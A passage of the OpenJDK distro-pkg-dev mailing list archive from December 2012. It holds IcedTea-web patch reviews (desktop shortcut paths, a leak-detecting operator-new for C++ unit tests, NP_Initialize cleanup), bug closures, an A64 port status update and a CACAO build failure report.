>>> File(System.getProperty("user.home")+"/Desktop/"+getDesktopIconFinalName()+".desktop"); >> >> A deployment property could still be good. This seems a little >> hardcoded. > > Yah hardcoded but nice and doing as expected. How does deployment > property behave when desktop icon is removed manually (what is what we > actually all do:) ? > > Is there some system independent way how to get usr's desktop? It will > solve this, but I think there is not. > > So when (System.getProperty("user.home")+"/Desktop/" will become > invalid we can elaborate here by array of locations? Ok if you want to take that route. Also some light research indicates this works on Windows as well. You can push for now IMO, we'll get Omair to comment on his approach when he's available. > > I still don't like the cannon (to kill a chicken) which deployment > property was.... >> >>> + } >>> + >>> } >> >> happy hackerdays, >> -Adam > -Adam From ptisnovs at redhat.com Fri Dec 21 08:47:08 2012 From: ptisnovs at redhat.com (Pavel Tisnovsky) Date: Fri, 21 Dec 2012 11:47:08 -0500 (EST) Subject: [rfc][icedtea-web] C++ unit-tests for memory leak w/ simple leak-detecting operator-new, along with fix In-Reply-To: <50D33738.4060808@redhat.com> Message-ID: <1616231329.3518428.1356108428382.JavaMail.root@redhat.com> ----- Adam Domurad wrote: > On 12/20/2012 10:13 AM, Pavel Tisnovsky wrote: > > Hi Adam, > > > > this patch looks very good in overall, but I'm not sure (=I'm dumb today) why can't you > > simply use ::new and ::delete operators to override them in following place: > > > > +void* operator new(size_t size) throw (std::bad_alloc) { > > + if (!__allocations) { > > + // This uses placement-new, which calls the constructor on a specific memory location > > + // This is needed because we cannot call 'new' in this context, nor can we rely on static-initialization > > + // for the set to occur before any call to 'new'! > > + void* memory = malloc(sizeof(AllocationSet)); > > + __allocations = new (memory) AllocationSet(); > > + } > > + > > + void* mem = malloc(size); > > + if (mem == 0) { > > + throw std::bad_alloc(); // ANSI/ISO compliant behavior > > + } > > + __allocations->insert(mem); > > + return mem; > > + > > > > Cheers, > > Pavel > > As we discussed, this would be recursive. > > http://stackoverflow.com/questions/4134195/how-do-i-call-the-original-operator-new-if-i-have-overloaded-it > > indicates that the only approach is to recreate operator-new using malloc. > > Thanks, will push as is (as we also discussed off-list), > -Adam Yes, please do. Thank you very much, Pavel > > > > > ----- Adam Domurad wrote: > >> The unit test infrastructure + tests: > >> 2012-12-XX Adam Domurad > >> > >> * tests/cpp-unit-tests/browser_mock.cc > >> (mock_retainobject): New, mocks behaviour of NPAPI retainobject > >> (mock_releaseobject): New, mocks behaviour of NPAPI releaseobject > >> * tests/cpp-unit-tests/main.cc: Add warning of memory leak based on > >> operator-new. > >> * tests/cpp-unit-tests/IcedTeaScriptablePluginObjectTest.cc: New, tests > >> for memory leak in (IcedTeaScriptableJavaObject::deAllocate) and > >> (IcedTeaScriptableJavaPackageObject::deAllocate) > >> * tests/cpp-unit-tests/checked_allocations.h: Defines set that does not > >> use operator-new, to prevent recursion in overloaded operator-new > >> * tests/cpp-unit-tests/checked_allocations.cc: Operator new overload > >> that has allocation-set for querying live allocations. > >> > >> The fix: > >> 2012-12-XX Adam Domurad > >> > >> * plugin/icedteanp/IcedTeaScriptablePluginObject.cc > >> (IcedTeaScriptableJavaObject::deAllocate): Fix memory leak > >> (IcedTeaScriptableJavaPackageObject::deAllocate): Fix memory leak > From aph at redhat.com Fri Dec 21 09:30:28 2012 From: aph at redhat.com (Andrew Haley) Date: Fri, 21 Dec 2012 17:30:28 +0000 Subject: A64 (aka ARM64) status Message-ID: <50D49CB4.8000801@redhat.com> A couple of months ago I announced our A64 port at http://www.advogato.org/article/1067.html I wrote: "Today the template interpreter, the first stage of any HotSpot port, is almost done. We hope to finish it by Christmas, and at that point we hope to release it for preliminary public access. We have a non-disclosure agreement that doesn't allow us to release anything today, but we hope that it will be lifted soon." Well, it's Christmas. ARM legal have been very willing to get the NDA lifted, but we're not quite there yet. On the technical side the interpreter is basically complete, but we still have some TCK failures; these are mostly corner cases, but they need fixing. I've been spending the last few days implementing the native stubs for JSR 292, which is now starting to work. There are still some gaps to be filled, for example JVMTI hooks. My next task is to write up a proposal for an A64 OpenJDK project, and we should be able to release the sources early in the new year. Andrew. From jvanek at redhat.com Fri Dec 21 10:55:41 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Fri, 21 Dec 2012 19:55:41 +0100 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50D49692.7050007@zafena.se> References: <50D488DC.4000507@redhat.com> <50D49692.7050007@zafena.se> Message-ID: <50D4B0AD.2030309@redhat.com> On 12/21/2012 06:04 PM, Xerxes R?nby wrote: > 2012-12-21 17:05, Jiri Vanek skrev: >> Hi! This is fix for http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP applications will prompt for creating desktop shortcuts every time they are run >> >> When I have seen Omairs original patch it was too much complicated, So I want at least to try this one. >> It is pretty simple. The disadvantage however is: >> + public File getFinalLinuxDesktopIconFile() { >> + return new File(System.getProperty("user.home")+"/Desktop/"+getDesktopIconFinalName()+".desktop"); >> + } >> >> to be dependent on System.getProperty("user.home")+"/Desktop/" and .desktop suffix. >> >> However .. can it be enough? >> >> The second patch is for testing purposes of this case which I would like to push forward as soon as possible. >> >> J. > > This will be broken on non-english systems. > > The name of the Desktop folder gets localized on many distributions. > For example the Desktop folder is called Skrivbord on Swedish user systems. > The configuration of the user desktop folder location is set in the > ~/.config/user-dirs.dirs > > On my system this file contains: > xranby at xranby-ESPRIMO-P7935:~/.config$ cat user-dirs.dirs > # This file is written by xdg-user-dirs-update > # If you want to change or add directories, just edit the line you're > # interested in. All local changes will be retained on the next run > # Format is XDG_xxx_DIR="$HOME/yyy", where yyy is a shell-escaped > # homedir-relative path, or XDG_xxx_DIR="/yyy", where /yyy is an > # absolute path. No other format is supported. > # > XDG_DESKTOP_DIR="$HOME/Skrivbord" > XDG_DOWNLOAD_DIR="$HOME/H?mtningar" > XDG_TEMPLATES_DIR="$HOME/Mallar" > XDG_PUBLICSHARE_DIR="$HOME/Publikt" > XDG_DOCUMENTS_DIR="$HOME/Dokument" > XDG_MUSIC_DIR="$HOME/Musik" > XDG_PICTURES_DIR="$HOME/Bilder" > XDG_VIDEOS_DIR="$HOME/Video" > I see.. This is very valid point and I have hoped to hear something like this. Do you think it is correct to get this information from ~/.config/user-dirs.dirs ? It sound good enough to me to parse it... As it is standartized in freedesktop.org. Thanx for reply, J. From adomurad at icedtea.classpath.org Fri Dec 21 12:21:42 2012 From: adomurad at icedtea.classpath.org (adomurad at icedtea.classpath.org) Date: Fri, 21 Dec 2012 20:21:42 +0000 Subject: /hg/icedtea-web: Clean up NP_Initialize; add more C++ unit tests Message-ID: changeset b9733f552c79 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=b9733f552c79 author: Adam Domurad date: Fri Dec 21 15:21:42 2012 -0500 Clean up NP_Initialize; add more C++ unit tests diffstat: ChangeLog | 10 ++ plugin/icedteanp/IcedTeaNPPlugin.cc | 137 +++++++-------------------- tests/cpp-unit-tests/IcedTeaNPPluginTest.cc | 92 ++++++++++++++++++ 3 files changed, 141 insertions(+), 98 deletions(-) diffs (347 lines): diff -r 01b5bc425cd4 -r b9733f552c79 ChangeLog --- a/ChangeLog Fri Dec 21 18:06:53 2012 +0100 +++ b/ChangeLog Fri Dec 21 15:21:42 2012 -0500 @@ -1,3 +1,13 @@ +2012-12-21 Adam Domurad + + * plugin/icedteanp/IcedTeaNPPlugin.cc: Remove need for 'goto' in + (NP_Initialize). Check TMPDIR environment variable for possible data + directory. Expose some previously static variables/functions for unit + testing purposes. Reduce need for explicit allocations for strings + 'data_directory' and 'appletviewer_executable'. + * tests/cpp-unit-tests/IcedTeaNPPluginTest.cc: + Add some basic tests for functions in IcedTeaNPPlugin.cc. + 2012-12-21 Jiri Vanek * netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java diff -r 01b5bc425cd4 -r b9733f552c79 plugin/icedteanp/IcedTeaNPPlugin.cc --- a/plugin/icedteanp/IcedTeaNPPlugin.cc Fri Dec 21 18:06:53 2012 +0100 +++ b/plugin/icedteanp/IcedTeaNPPlugin.cc Fri Dec 21 15:21:42 2012 -0500 @@ -154,10 +154,10 @@ #endif // Data directory for plugin. -static gchar* data_directory = NULL; +static std::string data_directory; // Fully-qualified appletviewer executable. -static gchar* appletviewer_executable = NULL; +static const char* appletviewer_executable = ICEDTEA_WEB_JRE "/bin/java"; // Applet viewer input channel (needs to be static because it is used in plugin_in_pipe_callback) static GIOChannel* in_from_appletviewer = NULL; @@ -243,7 +243,7 @@ int width, int height, char* url); /* Returns JVM options set in itw-settings */ -static std::vector* get_jvm_args(); +std::vector* get_jvm_args(); // Global instance counter. // Mutex to protect plugin_instance_counter. @@ -469,7 +469,7 @@ // in_pipe_name in_pipe_name = g_strdup_printf ("%s/%d-icedteanp-appletviewer-to-plugin", - data_directory, getpid()); + data_directory.c_str(), getpid()); if (!in_pipe_name) { PLUGIN_ERROR ("Failed to create input pipe name."); @@ -496,7 +496,7 @@ // out_pipe_name out_pipe_name = g_strdup_printf ("%s/%d-icedteanp-plugin-to-appletviewer", - data_directory, getpid()); + data_directory.c_str(), getpid()); if (!out_pipe_name) { @@ -1671,7 +1671,7 @@ /* * Returns JVM options set in itw-settings */ -static std::vector* +std::vector* get_jvm_args() { std::vector < std::string> commands; @@ -1695,6 +1695,7 @@ { PLUGIN_ERROR("Failed to get JVM arguments set for plugin."); output = NULL; + return NULL; } tokenOutput = IcedTeaPluginUtilities::strSplit(output, " \n"); @@ -2146,91 +2147,67 @@ if (initialized) return NPERR_NO_ERROR; + NPError np_error = NPERR_NO_ERROR; + // Make sure the plugin data directory exists, creating it if // necessary. - data_directory = g_strconcat (P_tmpdir, NULL); - if (!data_directory) + + const char* tmpdir_env = getenv("TMPDIR"); + if (tmpdir_env != NULL && g_file_test (tmpdir_env, + (GFileTest) (G_FILE_TEST_EXISTS | G_FILE_TEST_IS_DIR))) { - PLUGIN_ERROR ("Failed to create data directory name."); - return NPERR_OUT_OF_MEMORY_ERROR; + data_directory = tmpdir_env; } - NPError np_error = NPERR_NO_ERROR; - gchar* filename = NULL; - - // If P_tmpdir does not exist, try /tmp directly - - if (!g_file_test (data_directory, + else if (g_file_test (P_tmpdir, + (GFileTest) (G_FILE_TEST_EXISTS | G_FILE_TEST_IS_DIR))) + { + data_directory = P_tmpdir; + } + else + { + // If TMPDIR and P_tmpdir do not exist, try /tmp directly + data_directory = "/tmp"; + } + + data_directory += "/icedteaplugin-"; + if (getenv("USER") != NULL) + data_directory += getenv("USER"); + + // Now create a icedteaplugin subdir + if (!g_file_test (data_directory.c_str(), (GFileTest) (G_FILE_TEST_EXISTS | G_FILE_TEST_IS_DIR))) { int file_error = 0; - data_directory = g_strconcat ("/tmp", NULL); - if (!data_directory) - { - PLUGIN_ERROR ("Failed to create data directory name."); - return NPERR_OUT_OF_MEMORY_ERROR; - } - - } - - data_directory = g_strconcat (data_directory, "/icedteaplugin-", getenv("USER"), NULL); - - if (!data_directory) - { - PLUGIN_ERROR ("Failed to create data directory name."); - return NPERR_OUT_OF_MEMORY_ERROR; - } - - // Now create a icedteaplugin subdir - if (!g_file_test (data_directory, - (GFileTest) (G_FILE_TEST_EXISTS | G_FILE_TEST_IS_DIR))) - { - int file_error = 0; - - file_error = g_mkdir (data_directory, 0700); + file_error = g_mkdir (data_directory.c_str(), 0700); if (file_error != 0) { PLUGIN_ERROR_THREE ("Failed to create data directory", - data_directory, + data_directory.c_str(), strerror (errno)); - np_error = NPERR_GENERIC_ERROR; - goto cleanup_data_directory; + return NPERR_GENERIC_ERROR; } } - // If data directory doesn't exit by this point, bail - if (!g_file_test (data_directory, + // If data directory doesn't exist by this point, bail + if (!g_file_test (data_directory.c_str(), (GFileTest) (G_FILE_TEST_EXISTS | G_FILE_TEST_IS_DIR))) { PLUGIN_ERROR_THREE ("Temp directory does not exist: ", - data_directory, + data_directory.c_str(), strerror (errno)); - - np_error = NPERR_GENERIC_ERROR; - goto cleanup_data_directory; - + return NPERR_GENERIC_ERROR; } // Set appletviewer_executable. - filename = g_strdup(ICEDTEA_WEB_JRE); - appletviewer_executable = g_strdup_printf ("%s/bin/java", - filename); PLUGIN_DEBUG("Executing java at %s\n", appletviewer_executable); - if (!appletviewer_executable) - { - PLUGIN_ERROR ("Failed to create appletviewer executable name."); - np_error = NPERR_OUT_OF_MEMORY_ERROR; - goto cleanup_filename; - } - np_error = plugin_test_appletviewer (); if (np_error != NPERR_NO_ERROR) { plugin_display_failure_dialog (); - goto cleanup_appletviewer_executable; + return np_error; } - g_free (filename); initialized = true; @@ -2266,30 +2243,6 @@ PLUGIN_DEBUG ("NP_Initialize return\n"); return NPERR_NO_ERROR; - - cleanup_appletviewer_executable: - if (appletviewer_executable) - { - g_free (appletviewer_executable); - appletviewer_executable = NULL; - } - - cleanup_filename: - if (filename) - { - g_free (filename); - filename = NULL; - } - - cleanup_data_directory: - if (data_directory) - { - g_free (data_directory); - data_directory = NULL; - } - - - return np_error; } // Returns a string describing the MIME type that this plugin @@ -2358,18 +2311,6 @@ plugin_instance_mutex = NULL; } - if (data_directory) - { - g_free (data_directory); - data_directory = NULL; - } - - if (appletviewer_executable) - { - g_free (appletviewer_executable); - appletviewer_executable = NULL; - } - // stop the appletviewer plugin_stop_appletviewer(); diff -r 01b5bc425cd4 -r b9733f552c79 tests/cpp-unit-tests/IcedTeaNPPluginTest.cc --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/cpp-unit-tests/IcedTeaNPPluginTest.cc Fri Dec 21 15:21:42 2012 -0500 @@ -0,0 +1,92 @@ +/* Copyright (C) 2012 Red Hat + + This file is part of IcedTea. + + IcedTea is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2, or (at your option) + any later version. + + IcedTea is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + General Public License for more details. + + You should have received a copy of the GNU General Public License + along with IcedTea; see the file COPYING. If not, write to the + Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + 02110-1301 USA. + + Linking this library statically or dynamically with other modules is + making a combined work based on this library. Thus, the terms and + conditions of the GNU General Public License cover the whole + combination. + + As a special exception, the copyright holders of this library give you + permission to link this library with independent modules to produce an + executable, regardless of the license terms of these independent + modules, and to copy and distribute the resulting executable under + terms of your choice, provided that you also meet, for each linked + independent module, the terms and conditions of the license of that + module. An independent module is a module which is not derived from + or based on this library. If you modify this library, you may extend + this exception to your version of the library, but you are not + obligated to do so. If you do not wish to do so, delete this + exception statement from your version. */ + +#include + +#include + +#include + +#include "IcedTeaNPPlugin.h" +#include "IcedTeaPluginUtils.h" + +TEST(NP_GetMIMEDescription) { + std::string MIME_type = NP_GetMIMEDescription(); + CHECK(MIME_type.find("application/x-java-applet") != std::string::npos); + CHECK(MIME_type.find("application/x-java-vm") != std::string::npos); +} + +/* Not normally exposed */ +std::vector* get_jvm_args(); +extern gchar* in_pipe_name; +extern gchar* out_pipe_name; + +TEST(get_jvm_args) { + in_pipe_name = (gchar*)"inpipe"; + out_pipe_name = (gchar*)"outpipe"; + + std::vector* args = get_jvm_args(); + CHECK(args != NULL); + + IcedTeaPluginUtilities::freeStringPtrVector(args); +} + +TEST(NP_GetValue) { + void* __unused = NULL; + gchar* char_value = NULL; + + /* test plugin name */ { + CHECK_EQUAL(NPERR_NO_ERROR, + NP_GetValue(__unused, NPPVpluginNameString, &char_value)); + CHECK(std::string(char_value).find(PLUGIN_NAME) != std::string::npos); + g_free(char_value); + char_value = NULL; + } + /* test plugin desc */ { + CHECK_EQUAL(NPERR_NO_ERROR, + NP_GetValue(__unused, NPPVpluginDescriptionString, &char_value)); + CHECK(std::string(char_value).find("executes Java applets") != std::string::npos); + g_free(char_value); + char_value = NULL; + } + /* test plugin unknown */ { + printf("NOTE: Next error expected\n"); // the following will print an error message + CHECK_EQUAL(NPERR_GENERIC_ERROR, + NP_GetValue(__unused, NPPVformValue, &char_value)); + g_free(char_value); + char_value = NULL; + } +} From bugzilla-daemon at icedtea.classpath.org Fri Dec 21 13:05:50 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Fri, 21 Dec 2012 21:05:50 +0000 Subject: [Bug 917] plugin crashes when calling javascript function In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=917 Adam Domurad changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |RESOLVED Resolution|--- |WORKSFORME --- Comment #3 from Adam Domurad --- Closing because it works for me. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121221/a6ecf5ca/attachment.html From bugzilla-daemon at icedtea.classpath.org Fri Dec 21 13:07:20 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Fri, 21 Dec 2012 21:07:20 +0000 Subject: [Bug 879] IcedTea claiming signature has expired when it is still valid. Works fine in sun-java-plugin In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=879 Adam Domurad changed: What |Removed |Added ---------------------------------------------------------------------------- Status|ASSIGNED |RESOLVED Resolution|--- |FIXED --- Comment #2 from Adam Domurad --- As the related bug is fixed, and this now seems to work, I am closing this. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121221/414c3270/attachment.html From aph at redhat.com Sat Dec 22 08:09:32 2012 From: aph at redhat.com (Andrew Haley) Date: Sat, 22 Dec 2012 16:09:32 +0000 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: <50D5DB3C.4060008@redhat.com> On 12/18/2012 10:00 PM, Stefan Ring wrote: >> I have a build running at the moment, and I expect it to be a few more >> hours before I can say something about the outcome. It will definitely >> not be 2 weeks ;). > > On my SheevaPlug with Fedora 17: > > #-- Build times ---------- > Target all_product_build > Start 2012-12-18 11:50:13 > End 2012-12-18 18:25:15 > 01:00:06 corba > 00:23:37 jaxp > 00:26:32 jaxws > 04:23:02 jdk > 00:21:45 langtools > 06:35:02 TOTAL > ------------------------- > > IcedTea is served: /home/sr/staging/staging-build7/icedtea7/openjdk.build I can't get IcedTea 6 to build with CACAO: trimslice-f18-v7hl:icedtea6 $ /home/aph/iced-arm/cacao/icedtea6/openjdk.build/bin/java -version java version "1.6.0_27" IcedTea Runtime Environment (1.12pre+rcea49ba2afcd) (Fedora build 1.6.0_27-b27) CACAO (build 1.6.0+r9968abd511a3, compiled mode) trimslice-f18-v7hl:jmx $ /home/aph/iced-arm/cacao/icedtea6/openjdk.build/bin/java -client -Xmx750m -Xms128m -XX:PermSize=32m -XX:MaxPermSize=160m -cp /home/aph/iced-arm/cacao/icedtea6/openjdk.build/classes sun.rmi.rmic.Main -classpath "/home/aph/iced-arm/cacao/icedtea6/openjdk.build/classes" \ > -d /home/aph/iced-arm/cacao/icedtea6/openjdk.build/classes \ > -v1.2 \ > -keepgenerated \ > javax.management.remote.rmi.RMIConnectionImpl error: An error has occurred in the compiler; please file a bug report (http://java.sun.com/cgi-bin/bugreport.cgi). java.lang.ExceptionInInitializerError at sun.security.jca.Providers.(Providers.java:56) at sun.security.jca.GetInstance.getInstance(GetInstance.java:156) at java.security.Security.getImpl(Security.java:696) at java.security.MessageDigest.getInstance(MessageDigest.java:146) at sun.rmi.rmic.RemoteClass$Method.computeMethodHash(RemoteClass.java:845) at sun.rmi.rmic.RemoteClass$Method.(RemoteClass.java:760) at sun.rmi.rmic.RemoteClass.collectRemoteMethods(RemoteClass.java:516) at sun.rmi.rmic.RemoteClass.initialize(RemoteClass.java:317) at sun.rmi.rmic.RemoteClass.forClass(RemoteClass.java:70) at sun.rmi.rmic.RMIGenerator.generate(RMIGenerator.java:118) at sun.rmi.rmic.Main.doCompile(Main.java:562) at sun.rmi.rmic.Main.compile(Main.java:164) at sun.rmi.rmic.Main.main(Main.java:801) Caused by: java.lang.IllegalArgumentException: disparate values at sun.misc.FDBigInt.quoRemIteration(FloatingDecimal.java:2795) at sun.misc.FloatingDecimal.dtoa(FloatingDecimal.java:833) at sun.misc.FloatingDecimal.(FloatingDecimal.java:460) at java.lang.Double.toString(Double.java:196) at java.lang.String.valueOf(String.java:2985) at java.security.Provider.putId(Provider.java:433) at java.security.Provider.(Provider.java:137) at sun.security.jca.ProviderList$1.(ProviderList.java:71) at sun.security.jca.ProviderList.(ProviderList.java:70) ... 13 more 1 error Andrew. From stefan at complang.tuwien.ac.at Sat Dec 22 09:12:26 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Sat, 22 Dec 2012 18:12:26 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <50D5DB3C.4060008@redhat.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D5DB3C.4060008@redhat.com> Message-ID: > I can't get IcedTea 6 to build with CACAO: > > trimslice-f18-v7hl:icedtea6 $ /home/aph/iced-arm/cacao/icedtea6/openjdk.build/bin/java -version > java version "1.6.0_27" > IcedTea Runtime Environment (1.12pre+rcea49ba2afcd) (Fedora build 1.6.0_27-b27) > CACAO (build 1.6.0+r9968abd511a3, compiled mode) > > trimslice-f18-v7hl:jmx $ /home/aph/iced-arm/cacao/icedtea6/openjdk.build/bin/java -client -Xmx750m -Xms128m -XX:PermSize=32m -XX:MaxPermSize=160m -cp /home/aph/iced-arm/cacao/icedtea6/openjdk.build/classes sun.rmi.rmic.Main -classpath "/home/aph/iced-arm/cacao/icedtea6/openjdk.build/classes" \ >> -d /home/aph/iced-arm/cacao/icedtea6/openjdk.build/classes \ >> -v1.2 \ >> -keepgenerated \ >> javax.management.remote.rmi.RMIConnectionImpl > error: An error has occurred in the compiler; please file a bug report (http://java.sun.com/cgi-bin/bugreport.cgi). > java.lang.ExceptionInInitializerError > at sun.security.jca.Providers.(Providers.java:56) > at sun.security.jca.GetInstance.getInstance(GetInstance.java:156) > at java.security.Security.getImpl(Security.java:696) > at java.security.MessageDigest.getInstance(MessageDigest.java:146) > at sun.rmi.rmic.RemoteClass$Method.computeMethodHash(RemoteClass.java:845) > at sun.rmi.rmic.RemoteClass$Method.(RemoteClass.java:760) > at sun.rmi.rmic.RemoteClass.collectRemoteMethods(RemoteClass.java:516) > at sun.rmi.rmic.RemoteClass.initialize(RemoteClass.java:317) > at sun.rmi.rmic.RemoteClass.forClass(RemoteClass.java:70) > at sun.rmi.rmic.RMIGenerator.generate(RMIGenerator.java:118) > at sun.rmi.rmic.Main.doCompile(Main.java:562) > at sun.rmi.rmic.Main.compile(Main.java:164) > at sun.rmi.rmic.Main.main(Main.java:801) > Caused by: java.lang.IllegalArgumentException: disparate values > at sun.misc.FDBigInt.quoRemIteration(FloatingDecimal.java:2795) > at sun.misc.FloatingDecimal.dtoa(FloatingDecimal.java:833) > at sun.misc.FloatingDecimal.(FloatingDecimal.java:460) > at java.lang.Double.toString(Double.java:196) > at java.lang.String.valueOf(String.java:2985) > at java.security.Provider.putId(Provider.java:433) > at java.security.Provider.(Provider.java:137) > at sun.security.jca.ProviderList$1.(ProviderList.java:71) > at sun.security.jca.ProviderList.(ProviderList.java:70) > ... 13 more > 1 error Andrew, is this an armhf system? I'm just in the progress of finishing up my armhf work. See . From aph at redhat.com Sat Dec 22 09:44:32 2012 From: aph at redhat.com (Andrew Haley) Date: Sat, 22 Dec 2012 17:44:32 +0000 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D5DB3C.4060008@redhat.com> Message-ID: <50D5F180.7000508@redhat.com> On 12/22/2012 05:12 PM, Stefan Ring wrote: > Andrew, is this an armhf system? Yes. > I'm just in the progress of finishing up my armhf work. See Ah, right. Andrew. From jvanek at icedtea.classpath.org Mon Dec 24 04:34:20 2012 From: jvanek at icedtea.classpath.org (jvanek at icedtea.classpath.org) Date: Mon, 24 Dec 2012 12:34:20 +0000 Subject: /hg/icedtea-web: Fixed typo taget -> target Message-ID: changeset 9793efa80617 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=9793efa80617 author: Jiri Vanek date: Mon Dec 24 13:35:54 2012 +0100 Fixed typo taget -> target diffstat: tests/junit-runner/LessVerboseTextListener.java | 2 +- tests/report-styles/jreport.xsl | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diffs (33 lines): diff -r b9733f552c79 -r 9793efa80617 tests/junit-runner/LessVerboseTextListener.java --- a/tests/junit-runner/LessVerboseTextListener.java Fri Dec 21 15:21:42 2012 -0500 +++ b/tests/junit-runner/LessVerboseTextListener.java Mon Dec 24 13:35:54 2012 +0100 @@ -136,7 +136,7 @@ try { Remote rem = getRemote(description); if (rem != null) { - writer.println(" - This test is running remote content, note that failures may be caused by broken taget application or connection"); + writer.println(" - This test is running remote content, note that failures may be caused by broken target application or connection"); } } catch (Exception ex) { ex.printStackTrace(); diff -r b9733f552c79 -r 9793efa80617 tests/report-styles/jreport.xsl --- a/tests/report-styles/jreport.xsl Fri Dec 21 15:21:42 2012 -0500 +++ b/tests/report-styles/jreport.xsl Mon Dec 24 13:35:54 2012 +0100 @@ -271,7 +271,7 @@ - - This test is running remote content, note that failures may be caused by broken taget application or connection + - This test is running remote content, note that failures may be caused by broken target application or connection
@@ -286,7 +286,7 @@ - - This test is running remote content, note that failures may be caused by broken taget application or connection + - This test is running remote content, note that failures may be caused by broken target application or connection
From jvanek at icedtea.classpath.org Mon Dec 24 04:56:41 2012 From: jvanek at icedtea.classpath.org (jvanek at icedtea.classpath.org) Date: Mon, 24 Dec 2012 12:56:41 +0000 Subject: /hg/icedtea-web: Fixed xtrust all behaviour for desktop icons. N... Message-ID: changeset a16da8b96a0f in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=a16da8b96a0f author: Jiri Vanek date: Mon Dec 24 13:58:31 2012 +0100 Fixed xtrust all behaviour for desktop icons. Now returning true only if desktop icon should be created. False otherwise. diffstat: netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java | 2 +- 1 files changed, 1 insertions(+), 1 deletions(-) diffs (12 lines): diff -r 9793efa80617 -r a16da8b96a0f netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java --- a/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Mon Dec 24 13:35:54 2012 +0100 +++ b/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Mon Dec 24 13:58:31 2012 +0100 @@ -172,7 +172,7 @@ */ private boolean shouldCreateShortcut(ShortcutDesc sd) { if (JNLPRuntime.isTrustAll()) { - return true; + return (sd != null && sd.onDesktop()); } String currentSetting = JNLPRuntime.getConfiguration() .getProperty(DeploymentConfiguration.KEY_CREATE_DESKTOP_SHORTCUT); From jvanek at redhat.com Mon Dec 24 06:06:21 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 24 Dec 2012 15:06:21 +0100 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50D4B0AD.2030309@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49692.7050007@zafena.se> <50D4B0AD.2030309@redhat.com> Message-ID: <50D8615D.5080708@redhat.com> On 12/21/2012 07:55 PM, Jiri Vanek wrote: > On 12/21/2012 06:04 PM, Xerxes R?nby wrote: >> 2012-12-21 17:05, Jiri Vanek skrev: >>> Hi! This is fix for http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP applications will prompt for creating desktop shortcuts every time they are run >>> >>> When I have seen Omairs original patch it was too much complicated, So I want at least to try this one. >>> It is pretty simple. The disadvantage however is: >>> + public File getFinalLinuxDesktopIconFile() { >>> + return new File(System.getProperty("user.home")+"/Desktop/"+getDesktopIconFinalName()+".desktop"); >>> + } >>> >>> to be dependent on System.getProperty("user.home")+"/Desktop/" and .desktop suffix. >>> >>> However .. can it be enough? >>> >>> The second patch is for testing purposes of this case which I would like to push forward as soon as possible. >>> >>> J. >> >> This will be broken on non-english systems. >> >> The name of the Desktop folder gets localized on many distributions. >> For example the Desktop folder is called Skrivbord on Swedish user systems. >> The configuration of the user desktop folder location is set in the >> ~/.config/user-dirs.dirs >> >> On my system this file contains: >> xranby at xranby-ESPRIMO-P7935:~/.config$ cat user-dirs.dirs >> # This file is written by xdg-user-dirs-update >> # If you want to change or add directories, just edit the line you're >> # interested in. All local changes will be retained on the next run >> # Format is XDG_xxx_DIR="$HOME/yyy", where yyy is a shell-escaped >> # homedir-relative path, or XDG_xxx_DIR="/yyy", where /yyy is an >> # absolute path. No other format is supported. >> # >> 